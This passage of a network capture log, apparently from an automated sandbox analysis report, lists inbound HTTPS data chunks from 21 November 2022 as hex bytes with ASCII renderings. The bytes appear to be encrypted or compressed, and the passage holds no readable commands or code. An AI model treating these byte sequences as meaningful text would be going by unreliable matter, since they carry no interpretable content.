7<!xka^"sa7D*MyL&',Rh?A@iqHX&4CN9?0HLT>F[L3xBIt{`R]c[
2022-11-21 18:18:36 UTC	152	IN	Data Raw: 8a f3 f3 83 c6 61 52 d4 bc 55 6f 4a 97 47 c8 11 e6 25 31 15 2f bb 10 3b 08 8f 5a 19 65 2e ed 1e fc 15 7a e3 f7 f1 e5 63 d0 e8 f1 19 6f 0b 47 1a 1e 05 5f 7a 98 68 e8 e4 a5 a9 85 c2 01 fb cb 35 3e 4e b8 99 d6 bd cb 8c 8e bd c8 0c 17 0e 10 1c e1 1b 25 21 0c a5 c2 18 6e 55 2e ae 48 c0 af ad f4 05 c2 1e 41 bb 4a 9d ac d9 68 53 78 bf 83 3e 4c 2e 58 fe 0c 3a d7 be b6 8c 37 e7 66 d4 cd c8 49 b0 19 17 fa 4d d1 53 92 ae dc cb ef fc 95 64 e3 a0 d7 cd 42 a1 15 c3 94 81 df 14 c1 54 d4 46 87 1e 88 30 14 23 dd de 00 cf 11 a4 86 9d a3 16 47 8f d5 fb 45 0b c4 92 e9 89 ef c0 df e0 04 22 fd e9 b8 22 70 c9 ce 0d 8c 09 7e b7 63 9d cb d8 3c 7e 52 df 71 09 f0 62 6d 9c 81 02 11 2b 4f c8 ae e3 2a b2 15 66 ce 1a 36 91 7d 26 e0 a9 25 2b d2 0d 43 db 6d 41 c6 be 98 b2 34 a7 4b b3 bb Data Ascii: aRUoJG%1/;Ze.zcoG_zh5>N%!nU.HAJhSx>L.X:7fIMSdBTF0#GE""p~c<~Rqbm+O*f6}&%+CmA4K
2022-11-21 18:18:36 UTC	153	IN	Data Raw: 95 e6 a5 3b 20 11 50 65 2e 13 9d 05 f8 1d 6f 6d 17 67 07 ec 34 c7 73 cd 24 a2 a4 4a 5b 86 d2 87 6d 5d 93 9c 2b 74 4c a8 74 65 f3 c7 e0 a9 92 b7 c9 6d 43 be 9f 5e 44 5a 8e 91 fd 29 ec 04 5b 5d af e8 e4 68 e3 48 2b 5d 9c b1 bb 17 c3 44 f1 48 32 a9 28 a3 4b b1 6f c0 45 8a 6e 45 26 ac 63 f6 d3 c2 64 82 7d 87 c5 45 4b fa b5 6a 5e 42 3c f4 c2 b8 5e 33 f2 48 f0 cf b3 e1 34 3d 69 c5 34 62 fb 03 4c bd 83 9d 5f 47 70 17 00 46 3a 6d b7 15 b9 29 60 aa de 2e eb 22 6e 77 b7 c3 b3 77 5d ce 07 67 54 3b df 58 7a d5 87 0e af e6 7a a3 a9 50 f8 28 ec 8f 01 a0 b9 d4 35 12 4e 5d 7c 18 09 90 54 f5 6a 5a 63 98 5c 63 87 de d9 08 93 3c bd 07 43 3c 7a 05 07 07 2b 11 c6 bd e8 91 ab 6a 0b cb 7f a5 61 be 18 c2 f9 09 58 3b 36 b1 a1 7a ed 90 74 28 6e a0 fa 4f a2 30 f3 f6 5e 34 04 55 d5 Data Ascii: ; Pe.omg4s$J[m]+tLtemC^DZ)[]hH+]DH2(KoEnE&cd}EKj^B<^3H4=i4bL_GpF:m)`."nww]gT;XzzP(5N]\|TjZc\c<C<z+jaX;6zt(nO0^4U
2022-11-21 18:18:36 UTC	154	IN	Data Raw: 14 5a dd f4 3c ce 8d aa 83 95 9d 62 68 0b 19 59 47 b1 df 46 98 a7 df eb 2c 6c c6 f6 47 8e 8e 2f 97 b1 6e e5 f1 d2 bb 2f 70 d6 a5 8e 8d 72 83 32 f8 68 3e 41 59 ee b6 8c 9a c3 b4 59 58 f4 2c e3 60 c9 7e 7c a1 83 ca 56 c0 9d c5 73 91 4a 65 50 8d be 4a 13 39 2c 63 bc ef 62 b9 1a be 36 64 67 12 6c 05 50 0d 90 3b 47 6b a2 20 18 f9 c0 3f e2 b3 96 9b 87 15 e2 af 53 e1 7a 83 fc f3 b7 8b 82 f8 85 f2 19 91 ac ed 97 60 c8 92 8d 6e 03 0b 0b 10 f9 29 38 47 61 16 6e d0 c7 ac 15 5a 53 64 45 3b ce ff a0 03 8f 07 11 00 58 80 9a e1 11 e9 03 53 25 e3 79 82 4d 54 52 48 d9 ba e0 d3 b7 92 26 94 49 4a 6d f7 28 72 47 1c 0d 07 41 8c f4 56 cd c6 97 3d 7f 1a ca c3 f3 ea 6c 86 c8 9d f7 98 00 f8 cd 02 32 0c 48 ce 07 18 11 dc 7a 93 24 ff b8 99 b4 fd 24 91 5e a1 01 c9 45 b4 65 98 df 17 Data Ascii: Z<bhYGF,lG/n/pr2h>AYYX,`~\|VsJePJ9,cb6dglP;Gk ?Sz`n)8GanZSdE;XS%yMTRH&IJm(rGAV=l2Hz$$^Ee
2022-11-21 18:18:36 UTC	155	IN	Data Raw: 7f 58 f0 5f 26 c5 0f a7 c5 59 d8 3d af c0 0c 10 14 d9 2a 28 70 04 7d d7 e2 51 87 8c 92 8c a4 69 c8 b5 45 04 cb d7 73 18 c1 bc 56 04 e2 f9 56 a9 cf b2 40 7f 59 e9 dc 65 f0 b0 01 ca a8 cc dc 71 70 b3 59 94 b8 16 6f d0 d8 ef 2e 57 f9 35 b2 3b f5 37 e6 d9 5d 24 b5 d4 6f d9 48 1f 11 48 16 7d fd cc 35 4b 31 b1 7a 9e 35 78 9b c2 10 29 61 66 eb 5d a2 6e 53 5a 36 94 bb ab d7 78 55 00 e2 de 71 29 ad 66 99 b5 fe 7b cb ff cc bb 39 88 a8 56 95 97 c2 5f 64 f6 4e 93 7b bf 48 da 56 67 bb 48 49 f3 b0 07 76 49 36 8b 0f 6a d4 b1 04 0f 4e da a5 82 d3 f9 59 c3 e3 2e ef 58 2f 74 f4 ab 84 f0 26 47 68 5d 1b 5f 35 96 8d 5a 80 0e d2 18 46 10 5c d1 53 81 ba ca a5 95 bc a9 34 79 29 61 70 fa 43 d8 d3 b3 6a 14 5d cc 93 5b e5 d3 5d 5a 00 69 48 a0 ed b0 14 c3 1c 3f 3d 01 50 c1 87 7b e6 Data Ascii: X_&Y=*(p}QiEsVV@YeqpYo.W5;7]$oHH}5K1z5x)af]nSZ6xUq)f{9V_dN{HVgHIvI6jNY.X/t&Gh]_5ZF\S4y)apCj][]ZiH?=P{
2022-11-21 18:18:36 UTC	156	IN	Data Raw: eb f5 22 94 fc 66 87 e1 28 cd c6 aa 36 82 55 b0 94 bd 3d 24 39 bf 5a 29 a9 49 78 56 4a 0a 74 e2 89 3a b7 d2 34 f8 d2 f5 5e bb 98 3f 03 fa 44 22 5e 50 18 9b 56 f9 3d 32 e8 25 ca 9e bd 79 02 3f c7 d3 84 5c 57 ca 19 9d ff 37 b4 62 76 8d 14 18 f6 0f 4d 62 dc 2e 61 1b 5a f7 3a 0f 00 30 dc 2f 76 e3 01 7b 29 44 7e 99 3e 1e 98 d0 ca 14 bf 1b f6 ce ba 6f 07 e7 ef 1e cc cd 28 db 4b f4 08 4e f2 c1 a2 2a 32 83 78 3f a3 ce 11 be 41 8a 4f 04 3e d5 52 80 ef 6d 7f 17 aa fa 9a 78 bc a3 68 4c 69 50 49 f9 da a2 c2 32 d8 b4 13 de 79 11 e9 9a 51 23 80 09 2d 34 98 94 82 4c 10 dc 0e 84 44 65 22 eb 84 1f eb 08 6f 9f 0c c4 f5 d2 68 4b 15 80 d5 49 41 94 e4 b8 90 86 80 e6 01 9b ca 0c bf 1a 78 27 ce e7 6b 6e c8 d2 f6 a1 15 bd bf 03 b0 79 63 13 3d c5 f0 ff c9 88 a3 7c ed ec 28 ae d5 Data Ascii: "f(6U=$9Z)IxVJt:4^?D"^PV=2%y?\W7bvMb.aZ:0/v{)D~>o(KN*2x?AO>RmxhLiPI2yQ#-4LDe"ohKIAx'knyc=\|(
2022-11-21 18:18:36 UTC	158	IN	Data Raw: 06 e0 2f 4c 40 6b f4 ec 7a b0 7a 56 ec 27 ae cf ee e0 db 30 3b 43 46 e9 b0 59 04 f2 c8 28 3a 5f 65 fd 58 d0 29 89 a1 e1 2e d8 07 69 06 0b 65 ec 8c 7f 39 b4 aa fc b7 9c 48 3c b5 1b 6d 51 f3 1c bc 83 24 c4 30 bd c3 8e 1f 83 66 17 bb c9 b6 6b 10 1a dc e6 59 74 2a 3e ef 3a 85 94 85 e0 68 df 61 d3 ae bb 73 bf 33 55 f1 fa f7 71 75 0c a7 35 e4 24 e5 ec cd 5b b9 bc 3e a5 52 8d 98 17 51 70 90 1c 4e e9 af 85 ae 0d c3 16 50 c4 c9 b7 a3 b3 79 ee 9e 1b 8a 83 ae a0 85 10 b0 b5 f2 cb 0a 9e 30 77 82 ec 21 aa 07 7c 42 0c a6 fc 1e 9e dc c5 c7 e8 bc e0 2a f7 22 f8 db 7c b0 b8 b1 19 d0 d3 85 06 96 32 00 49 d2 e0 ea 46 93 4f fc e8 7f 2c 11 55 ec dd 75 ab 82 e4 dd 64 c0 70 3b 4f f1 65 5a 84 71 8e c1 f2 d8 4c a8 ac ee 5d 68 d3 82 de 15 ff e8 d9 2d 10 93 60 bd 27 5b 01 95 2b 8f Data Ascii: /L@kzzV'0;CFY(:_eX).ie9H<mQ$0fkYt>:has3Uqu5$[>RQpNPy0w!\|B"\|2IFO,Uudp;OeZqL]h-`'[+
2022-11-21 18:18:36 UTC	159	IN	Data Raw: 16 8c 87 af c8 63 c6 f1 22 1c f3 2c 05 5c a4 f3 9e 2d 13 4f 88 a1 42 38 29 00 04 b6 a8 c7 90 1e 42 92 03 7f 1e c2 78 69 04 22 17 83 1e 9b 13 c5 4b ea 2e 70 37 a3 58 53 8a bb 16 ff e7 7a 1d 71 2f 0e 72 ff d2 a4 5b 4f 88 43 27 e3 2e 29 e4 94 e8 fa 62 34 6f f8 c2 46 34 6b e5 b4 07 a6 c5 b6 44 fc 7e df 76 af a3 d0 e0 59 65 c6 96 95 0d b7 7c 25 f5 a3 33 09 fb 26 b5 0d 7a 5f 9f 4b 80 3d b4 6b 19 b6 5b aa 0c b0 70 65 15 a5 8c a5 91 3d 1b 67 42 5b d0 c2 97 c4 ea 18 c0 7a 87 17 6b ac 5a 0c 3e d3 12 11 e6 96 1b 46 e4 3c f2 de 1c 86 c5 d6 b7 02 b7 c5 3e 48 99 7d 58 08 18 a8 87 46 df ba 1f 9a 26 7a 37 e3 71 a2 fc 17 5a 60 6a 1b 4a 4f 44 95 e7 50 c3 e0 50 8d 1a ff e8 6e c4 a2 33 3f e0 d6 d4 ee c1 0a b0 a8 76 56 e8 2c 43 91 3f 4a 8c 2a a4 c7 0b e3 04 1a c9 df 62 92 0e Data Ascii: c",\-OB8)Bxi"K.p7XSzq/r[OC'.)b4oF4kD~vYe\|%3&z_K=k[pe=gB[zkZ>F<>H}XF&z7qZ`jJODPPn3?vV,C?J*b
2022-11-21 18:18:36 UTC	160	IN	Data Raw: b0 c5 10 bf 4a f4 7f cd 4c c5 d4 2b 0b 8b 02 61 8a fb ea 85 29 5b e0 81 c6 8b 6f 9a 07 81 72 be e3 e9 ec a3 08 f8 08 9e 82 44 8e 72 6b 45 7b f0 92 f1 54 ea 6a e9 71 dc 77 44 84 a7 5e 33 95 55 4e df 59 f6 0d 57 98 09 f2 6a f2 60 54 0d 84 69 e5 70 c7 61 9a 7e 81 05 4f 28 36 8d b8 b0 d7 ee ea b8 56 f2 d9 ef 93 6e 24 8b 9d 7b 8c 26 67 26 9f dc 53 10 ed 60 1c d8 57 5c 4a c5 67 79 01 2c 24 cd 21 ac 8c 2a e4 8f 4b 66 cc cf fe ac 3f 26 19 66 82 1c 84 6a f1 bc ff c9 8b 8c 34 a3 69 8e b9 e4 d6 4d 82 ac 17 40 0d 0c 1d 99 6c de f0 96 62 c6 f0 5a 21 29 46 17 c8 64 c5 cf 33 be 27 66 8c 5f 69 69 7e f2 e3 2b 23 a3 84 28 2b ff 90 bc bc bf 4f 8f 89 08 78 a8 a6 57 ae d5 47 9e 85 45 58 c4 7b 12 03 67 90 e1 1e 9e 06 8a d5 ee a0 37 c5 03 54 70 6c d6 13 d9 16 1a 48 11 5a 55 a3 Data Ascii: JL+a)[orDrkE{TjqwD^3UNYWj`Tipa~O(6Vn${&g&S`W\Jgy,$!*Kf?&fj4iM@lbZ!)Fd3'f_ii~+#(+OxWGEX{g7TplHZU
2022-11-21 18:18:36 UTC	161	IN	Data Raw: cd 2d 0a cb 5b 18 81 62 72 cd 94 cc ec 3b 2a b7 2a 9f c8 d4 5d b1 b8 ad f7 bd 7a 0f d1 8b f1 62 f4 51 77 98 71 e2 73 ef 4f 71 5a 96 46 2a 51 68 3b d1 d6 83 b9 64 b6 c5 58 47 28 d3 8b 30 b4 91 3f aa f9 8e d7 f3 45 3b ee bc e6 31 b6 ba 4a a1 ac 7a 98 89 35 4a 33 b5 f5 df 94 d7 6b 87 97 3c de 3d 10 89 54 8c e7 85 dc e7 91 f7 Data Ascii: -[br;*]zbQwqsOqZFQh;dXG(0?E;1Jz5J3k<=T
2022-11-21 18:18:36 UTC	161	IN	Data Raw: 04 a8 3d 5c 8b f0 1c 3b 3b 6c a5 ca 6b 63 8c 2c a5 ce 3e d1 af 5e e5 2f a4 d5 00 41 c0 b3 d8 65 cb a2 e9 33 a7 b1 55 0b f2 2e fc f7 66 54 b4 26 75 ce 5f ab 49 55 70 1a a1 ac 7a 52 d7 4a b1 60 8d 04 be 8d 4a a3 3c 85 ac 44 3d bb 4d 94 3a 1c 1b b9 4a 7d 92 fa de d8 5c 20 dc 77 26 27 61 94 aa 62 3f 9a 88 78 41 2c dc 61 da 00 2e bc 71 b2 30 6f a9 8d b4 48 03 55 4c 33 04 88 c7 6f 68 b1 44 a9 ee 68 bf b8 30 4c f5 3a 33 33 4a 9f 8a ae 35 d4 06 7b 8e dd 51 94 4a 97 7e 69 a0 95 b1 e6 b4 f2 b8 e4 54 89 5d 9f df 05 b3 8e 88 c3 1f fa 3a 05 25 9f 2f 51 1e 76 ee eb ca 78 05 d6 82 62 c3 84 fb 89 f4 71 61 b7 9f ab cd 8f 19 79 0c 9a 67 bf 0f 4c 41 08 c1 5f 91 cb 88 a8 96 37 e8 db 62 da 1c 4a 15 b5 4f d2 be 20 5a dd e3 d9 10 b6 82 46 1e 04 86 fa 0a ab 1a cb 23 7e e3 de 2a Data Ascii: =\;;lkc,>^/Ae3U.fT&u_IUpzRJ`J<D=M:J}\ w&'ab?xA,a.q0oHUL3ohDh0L:33J5{QJ~iT]:%/QvxbqaygLA_7bJO ZF#~*
2022-11-21 18:18:36 UTC	163	IN	Data Raw: 0b f6 89 9e 0d d5 79 aa 70 f7 d8 26 52 1b f0 97 1a dd ee 1d be 87 f5 d8 1f 6c 9e c1 b4 83 df 0c a2 b1 ca 8d 2e 6a 39 d1 b3 05 2c e9 c3 0e d3 b0 97 1e 02 c6 9d 8f 35 d7 fe 40 54 6b 4f 11 b4 45 f9 ee ef 5d 69 00 54 bd 4b 7a 2d 92 2c 63 47 ad 76 03 2a 94 48 ff e0 c1 80 97 6e b4 28 56 29 f0 de 05 da 7c 51 08 d0 e4 d2 59 01 a9 39 5b d5 2f e6 d2 aa 5f 8c c6 c0 a4 82 45 ea ba 5c 17 6d 60 38 b7 15 55 51 19 1e fc 45 f1 be 4d 12 01 a4 5a 79 93 2f 00 8d 17 f6 96 44 9d 22 ed ce 57 fc 23 0b a9 b2 8c ab 66 65 57 f4 00 2d 0b 66 a7 7f f7 f2 cd c7 14 95 c4 1b ca 3d 43 34 65 94 32 e4 67 85 1c 53 e6 c2 8d 87 68 aa de 24 4e d2 af 51 1b f0 e5 45 dc d4 5e 88 bb e0 61 73 d1 c2 01 bc ce b4 55 5b 64 b0 a2 1e f1 56 31 7e 10 24 5a a4 37 9f fe 9d 8a 1e 76 69 5e 89 e4 1c d0 bc 2a 58 Data Ascii: yp&Rl.j9,5@TkOE]iTKz-,cGvHn(V)\|QY9[/_E\m`8UQEMZy/D"W#feW-f=C4e2gSh$NQE^asU[dV1~$Z7vi^X
2022-11-21 18:18:36 UTC	164	IN	Data Raw: 71 e7 be 97 d7 d6 a1 0c 9c 81 be f9 27 2f 91 d3 7a 86 86 aa 24 b6 d9 f0 11 9c b1 ba 8c c5 ce 64 49 64 4a d2 78 f7 4a c1 95 1d d3 69 7c 5b b9 d8 37 21 1d bc ff 6e 9b ff ba 93 8e 65 8d 3e 94 89 92 78 87 a1 19 90 54 aa fd 97 3c ba 6e a1 32 21 d3 b2 16 11 9f 4b 3a dc 22 51 cb e2 36 a8 69 c9 76 5c 5e 09 e0 11 5f 8e 56 a5 27 8b 25 61 94 96 c8 8b 94 29 29 7c 19 d3 c3 8b 23 19 84 1b 30 cd 15 6e 13 24 a4 28 df 9b 8d 37 c4 7c 1e e3 fa 41 56 28 e5 22 db 40 14 68 25 8d 8f 2d 45 b1 d6 2f d4 a7 63 ea 08 45 22 c2 bd 83 b4 e4 c0 ad 1c 1b 1e 93 03 e2 1d cb 7a 52 b3 ae f1 bb 10 dc b9 e6 31 28 c9 80 32 0b c2 d1 9d 01 a9 bf 7a 04 76 07 f3 7f b1 cc 8c 57 dd 43 5b 1c b5 fe 12 74 7a cc 6d a4 11 93 13 65 e8 30 28 c3 97 58 26 36 ff df f8 b5 10 19 8e dd aa d0 72 eb 25 63 6e df 4e Data Ascii: q'/z$dIdJxJi\|[7!ne>xT<n2!K:"Q6iv\^_V'%a))\|#0n$(7\|AV("@h%-E/cE"zR1(2zvWC[tzme0(X&6r%cnN
2022-11-21 18:18:36 UTC	165	IN	Data Raw: 62 57 21 2c 65 65 64 24 50 5d 37 5b 78 04 44 a0 e8 0d 1e c9 0a b9 8a 6d 3d d6 b3 56 c3 13 8c 72 b3 d8 f7 3f 60 a5 ca 0a 47 78 95 4a 8a 9b 3b 9e 50 95 93 09 89 0f c4 c6 12 18 9d ab d7 d5 20 20 76 0d eb b5 69 53 e0 f2 72 07 82 98 57 e2 76 c3 d2 f6 68 bc 89 a3 77 32 b1 a9 87 b9 4f 4c 58 0b 6e fd f9 e2 fe 27 c9 35 ad 04 ce 18 24 af 5a df 12 d6 da 02 88 6a 5d 69 0a 77 fe 1e 17 04 3b 1f 5d 38 71 89 7c cc f2 bb 10 10 f0 26 ee f0 7e 9d 87 23 e2 6d ac bf d5 bc f1 f6 df f8 36 38 35 9d 1f 1e 23 f6 7e b4 59 23 6a a1 46 b5 84 20 8c bc 2f 6c 9b c2 09 b4 4e aa 97 79 fa 62 89 c2 ee 8a e4 1e 16 8d d9 03 e4 28 8f 2f 19 1f da e0 2a 74 7e 0b 0e 92 bb 05 d5 fb c4 c0 f9 38 37 86 d2 69 61 23 6f 41 04 be 84 6f 5c 65 5c be dd 5a ed 27 98 cb 31 2f 4e b0 d8 3d 4b 5c df 56 7f d3 f1 Data Ascii: bW!,eed$P]7[xDm=Vr?`GxJ;P viSrWvhw2OLXn'5$Zj]iw;]8q\|&~#m685#~Y#jF /lNyb(/*t~87ia#oAo\e\Z'1/N=K\V
2022-11-21 18:18:36 UTC	166	IN	Data Raw: d4 60 fa 0c 8f ab fe 81 a0 f9 4b 28 ff 68 ee 71 c2 45 40 e2 7d c3 a2 b7 a7 27 5d 41 68 87 ed 04 62 3b 11 ce 9e 18 6b e3 85 b5 38 8e 87 1c ff fb b6 4f 4b 85 0d c1 b2 e9 34 cc cb c3 3a 32 b1 41 b4 30 8a 2d 60 0d d3 08 10 fb 11 f9 e9 9f de 00 56 10 8b 08 06 77 ad 21 70 1f c6 65 bc c9 9e e3 f1 cf 1f bc 37 f5 d9 bc 11 5d 39 7b b5 60 ec 1c b9 34 25 88 28 0f 49 44 12 65 10 da eb 18 0f 16 08 18 fa 85 f6 28 67 d6 b9 42 9f e5 ca a6 e0 96 00 5c b9 a0 d1 cc c9 fc 2a 20 31 32 d3 04 df d3 e6 a5 7d 18 dd 97 17 92 40 1b c4 19 48 8c 93 0c 8e 5e c0 6c 2a 3f 29 76 cb 3f 5e b4 a1 96 86 0a 27 2c 6e f5 05 5c eb 81 25 0e 7d d9 51 57 2d d8 30 6d 7f 59 90 25 c3 74 99 9c 62 7d c8 9b 16 e2 2d ac 36 07 b9 a6 1d 1b 3a fc 8d a1 62 a6 a2 67 58 7f 23 22 d1 63 30 22 d4 7e b8 38 00 5d d7 Data Ascii: `K(hqE@}']Ahb;k8OK4:2A0-`Vw!pe7]9{`4%(IDe(gB\* 12}@H^l*?)v?^',n\%}QW-0mY%tb}-6:bgX#"c0"~8]
2022-11-21 18:18:36 UTC	168	IN	Data Raw: 59 c3 ae 9b bb c3 67 a9 ef c1 b2 ee d2 15 5b b9 5d ea 3e 64 39 75 42 b3 89 37 a0 e4 c1 83 af a9 42 2e f3 35 61 59 f5 0e f4 db 94 16 fb 85 3a 03 41 85 e6 86 cd bd 09 84 a6 0b c9 83 a7 c1 67 8c 53 cf 3c 94 a2 13 27 0b 28 8b d5 41 03 36 03 6b ed b8 4a a9 1c a5 e5 51 a5 11 e9 3a 45 fa d6 1c a3 76 d9 71 a1 e0 cb 17 8e fd ea 9a ea ed d8 89 66 d2 b3 04 8d 72 1c ed e3 45 c9 f9 aa fa a8 0d 26 d9 67 9c cb d6 eb bf 3f 69 9e 48 7e 8d 67 0a 79 e2 0b 26 91 4e f9 93 d6 4a a7 6a ae cc 33 c0 0a f8 6c 1a 4a fe 3a 4e ad 2a a7 6c 05 6b fa 52 c4 5b f3 aa 4e d1 ca c6 5c 9f 88 47 35 ea 54 de 78 44 c0 fe cf 3e 9a 11 14 4b 6f 58 3e ac a1 00 f3 3f f5 0e 14 77 e8 da 9c ef 92 16 bd be 7d 65 9f e3 ba 49 f7 a1 8b fc 67 25 48 2c 7b 5f 7d bc b0 1c d3 12 ae 15 f2 d1 fe 48 05 8b 43 50 b0 Data Ascii: Yg[]>d9uB7B.5aY:AgS<'(A6kJQ:EvqfrE&g?iH~gy&NJj3lJ:N*lkR[N\G5TxD>KoX>?w}eIg%H,{_}HCP
2022-11-21 18:18:36 UTC	169	IN	Data Raw: 11 2f 03 aa c4 a1 47 b7 b0 de a9 7a 3d b3 85 cf de 14 cc 4d 10 69 20 d3 e7 bf 9b 06 a1 b2 a3 5e 38 10 26 bf 44 ae 14 2f 3e a1 34 2d 43 61 eb e1 ae 25 6a 71 77 57 9a 7b df a3 c5 a2 ae a7 21 e3 9f e4 cf 38 5f cf e7 5e ee ae 39 8a 99 6e a1 6c 7a 91 c1 57 11 71 21 09 f2 4e e4 94 a9 de 32 1a 00 2d d7 56 e7 e0 18 b5 68 df 0e da 57 55 b3 a2 54 cb f6 20 b7 5f 5f d5 a2 9b f2 1b 28 14 4e bd bb ed 54 e8 fe e1 15 a6 37 02 18 b7 65 e2 d0 2e 0e 79 76 83 42 69 93 b7 76 e0 90 a9 d1 77 33 a9 b3 b5 a7 d8 4b 01 ba f0 b6 d8 ec 93 9f bb 3a d8 4e ee 64 9b 03 a6 15 bd f5 4e 42 cb 0c 9d 6d 5b 0a 43 0b ad 5f 84 5d b3 f1 a8 cd 6e e9 52 a8 e0 09 9a 5e 22 5a 1d cf ff 08 2c f0 9a 00 90 9f 7e f1 7b 15 fb cb 9d 0e f3 d4 69 39 02 9c ec e9 71 ae 6d 5b d3 64 d2 0d 83 b5 39 07 58 55 8c d6 Data Ascii: /Gz=Mi ^8&D/>4-Ca%jqwW{!8_^9nlzWq!N2-VhWUT __(NT7e.yvBivw3K:NdNBm[C_]nR^"Z,~{i9qm[d9XU
2022-11-21 18:18:36 UTC	170	IN	Data Raw: f9 1b 70 77 67 ba f6 e7 3b 42 9b b1 f7 af b4 4c 06 c1 ef 8f b7 4e 60 6d c1 1b f0 44 87 7c 8d 37 aa 8d 32 68 f0 3e e1 38 46 95 c1 00 f7 ef a4 b8 ea 1d 6c 3c a0 20 2d 5e 4c 7d 01 72 d8 0d 9e c2 21 d7 0f bb 34 3a db 5d 8f 88 5a c2 e7 71 fe 39 77 af 06 f3 e7 c7 13 3f d8 f7 fa 1e 69 cc 83 eb 99 9a 8b 17 ae 92 90 0a 55 4f 81 49 d0 9a f3 4d 05 12 7c 6f 64 da e4 e8 84 15 17 75 91 22 29 2d d6 53 88 31 e6 89 50 c3 c2 b7 32 a1 ef cc f7 97 20 40 29 ec e0 08 8d 47 a8 56 0b 72 b2 4e 36 5e e3 f0 00 fc 2a ac 06 3b c7 d4 ea a7 d3 e6 9c 45 3b b6 ca 02 c1 a3 3c 64 73 1c 10 e8 b4 72 25 e9 ef f9 d1 b8 cf 76 49 6b d5 4b ed 99 5d 92 bb a1 ec 6a f0 61 a8 7d 3d fa 2d c0 62 1a 01 35 5d 33 c5 34 33 e3 0f 34 30 9d 17 1d db 9a f4 26 00 57 5d 6c 97 d2 5f 5b 05 42 07 ae a9 f0 fe e2 88 Data Ascii: pwg;BLN`mD\|72h>8Fl< -^L}r!4:]Zq9w?iUOIM\|odu")-S1P2 @)GVrN6^*;E;<dsr%vIkK]ja}=-b5]34340&W]l_[B
2022-11-21 18:18:36 UTC	171	IN	Data Raw: 0a fa 97 68 1d c3 7d f1 d9 2e 91 08 5a ee 90 96 fa fa 65 5a 4c 96 c5 bc cd 4c f7 ba 42 d7 ab 61 aa 46 91 7b 40 9f 5e 33 cf 6c a3 3f c5 66 0f cb 92 aa 60 4b 70 f5 8d c0 cc a6 18 d5 26 ba c3 9d e0 84 5c 6d f1 88 0f 33 05 88 50 99 b1 74 83 8e 2f 0e c9 97 db 3d 95 40 bf 9d e5 20 0e 83 c3 fa 5a 60 96 e1 92 93 df 8f 5d 9f 11 9c 7e bb c7 32 1e 9a f9 df 2c 42 16 27 50 24 18 31 11 9a 99 00 82 bd 24 85 6c 13 b5 fa b6 65 81 dd 39 87 a7 22 5d d5 6e d0 74 8c 96 2b 38 e1 cb 5c 7a eb 3e 25 46 ba 54 b3 05 cc 9b 1c 32 38 05 4c f5 5a 4d 7d de a2 2d 2f 07 49 13 a5 6c d1 85 55 82 24 fe a2 5a a8 7d e1 52 fb 0b 23 7b de c7 08 7f 7d 42 6c 64 df d0 f6 8e 67 f2 d4 94 50 0e 81 2f e6 bf fc 07 bd 6b 95 3a 1f 0d 6a 7c 80 c8 cc 31 b8 74 99 70 05 9c 38 6d d0 28 73 8f 18 0f 73 cf ce 8a Data Ascii: h}.ZeZLLBaF{@^3l?f`Kp&\m3Pt/=@ Z`]~2,B'P$1$le9"]nt+8\z>%FT28LZM}-/IlU$Z}R#{}BldgP/k:j\|1tp8m(ss
2022-11-21 18:18:36 UTC	172	IN	Data Raw: f9 fb d7 d1 ee 23 2e cd 2d c7 79 83 14 10 7a d5 a3 d4 16 5e 68 42 b0 6a 66 da 76 7e 80 4e 7e 1c bf 60 c5 e8 2b 47 58 fd 41 54 e2 48 bc aa 71 ac f9 88 c3 81 04 93 18 00 c9 ff 87 e3 00 fd 1f df e5 b2 2b 40 0c fc 8e c2 25 fa e4 bc f6 c7 cd df e3 90 38 8b a9 ae 03 1f 4f f4 ed 47 54 82 41 3a a4 cc 20 f4 6a 47 62 2b 51 e4 65 3c 73 a8 5e 11 43 5b 1b 0e 86 b8 ec d2 30 9b 44 f3 f1 53 9f 09 69 53 69 64 8c 92 24 0c ec b2 c2 15 46 3f 89 32 8a 8d d3 6c 87 5b 3b 0e 38 9f 25 95 81 9c 85 b3 3a 34 fb ad 4d d6 3a 0a f5 e9 56 cf b5 ff ee c8 43 d6 35 9b 7e 5f 53 c3 06 a0 1d 66 32 9e bc db d8 ba 0f 25 39 2f 96 58 c6 75 9e 2c 18 f9 80 2d 06 a1 1e 4d eb a8 c9 18 21 97 00 20 80 20 f7 c1 e0 7d f7 4f ca 48 59 78 11 c7 00 b7 6f 4e be 86 57 e6 f0 d5 6f 3b cd 89 e5 51 e5 32 8a 1a d4 Data Ascii: #.-yz^hBjfv~N~`+GXATHq+@%8OGTA: jGb+Qe<s^C[0DSiSid$F?2l[;8%:4M:VC5~_Sf2%9/Xu,-M! }OHYxoNWo;Q2
2022-11-21 18:18:36 UTC	174	IN	Data Raw: 0c 57 fc eb 4d b5 c9 43 48 1b 47 32 4f 61 58 79 3e aa 6c 7a 77 1e 3b 07 d8 25 1e fa e5 f0 5f 1c 66 03 a3 14 eb 2e 3f 03 95 41 c9 75 4d 47 f7 cf 31 64 ad e1 a3 f6 a8 c3 62 cb 90 0f 79 53 4b 9b 65 ae c9 75 c2 89 ae d8 3e dc eb fc 5c 44 f5 f1 85 3c 05 46 08 a0 6e 1f 98 1d 36 a1 12 d5 03 6a ed e4 e0 e3 57 2f 76 44 bd 17 a0 39 27 7a c0 aa 2f b5 bb a9 2d e7 7c bb 61 a5 51 93 95 0e af 15 ea b4 aa 45 8c e8 c6 4d c6 e0 90 07 4f 23 e1 41 14 9c a6 12 c4 2c f2 37 3d 06 a0 3a 31 fc 68 27 bd ad 70 ab bd f8 92 1f 9e 26 c6 e0 dc 2e e2 22 b0 6a 18 5d 2e dd d3 08 83 83 36 4e 08 da 42 53 ae 25 d1 cb f4 ce 95 57 3e f8 26 ab 08 03 5a f0 26 25 73 2a f6 8d 52 a9 5c 49 7b 08 55 a2 76 b6 41 88 96 ff a3 4b 71 24 e5 30 be 7e a4 dc ee b7 62 ad dc 02 4b 1a ed e4 bc aa ea 88 e7 34 6e Data Ascii: WMCHG2OaXy>lzw;%_f.?AuMG1dbySKeu>\D<Fn6jW/vD9'z/-\|aQEMO#A,7=:1h'p&."j].6NBS%W>&Z&%s*R\I{UvAKq$0~bK4n
